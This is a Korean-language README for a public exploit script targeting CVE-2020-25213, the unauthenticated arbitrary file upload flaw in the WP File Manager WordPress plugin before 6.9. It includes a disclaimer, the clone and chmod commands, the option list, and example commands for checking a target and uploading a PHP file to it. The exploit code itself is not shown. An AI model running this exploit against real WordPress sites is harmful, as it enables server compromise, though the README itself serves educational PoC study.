
https://medium.com/@mansoorr/exploiting-cve-2020-25213-wp-file-manager-wordpress-plugin-6-9-3f79241f0cd8
WP-file-manager 워드프레스 플러그인(<6.9)은 인증되지 않은 임의 파일 업로드에 취약하여 시스템 전체가 손상될 수 있습니다.
자세한 내용은 여기에 게시된 제 writeup을 참조하세요.
저는 이 취약점을 발견하지 않았으며, 이 CVE에 대한 어떠한 공로도 주장하지 않습니다. 저는 wordfence, seravo 등 여러 블로그에 공개된 설명을 분석한 후, 취약점 설명만으로 POC를 만드는 방법을 독자들이 이해할 수 있도록 돕기 위한 목적으로 이 익스플로잇을 만들었을 뿐입니다.
이 익스플로잇을 사용하여 조직에 발생한 피해에 대해 저는 책임을 지지 않으며, 독자 여러분께는 조직의 서면 동의 없이 이 취약점을 악용하지 말 것을 권고합니다. 무단 악용 시 해당 조직이 다른 해커들의 공격에 노출될 수 있기 때문입니다.
git clone https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213.git
chmod +x wp-file-manager-CVE-2020-25213/wp-file-manager-exploit.sh
-u|--wp_url Wordpress target url
-f|--upload_file Absolute location of local file to upload on the target.
-k|--check Only checks whether the vulnerable endpoint exists & have particular fingerprint or not. No file is uploaded.
-v|--verbose Also prints curl command which is going to be executed
-h|--help Print Help menu
./wp-file-manager-exploit.sh --wp_url https://www.example.com/wordpress --check
./wp-file-manager-exploit.sh --wp_url https://wordpress.example.com/ -f /tmp/php_hello.php --verbose
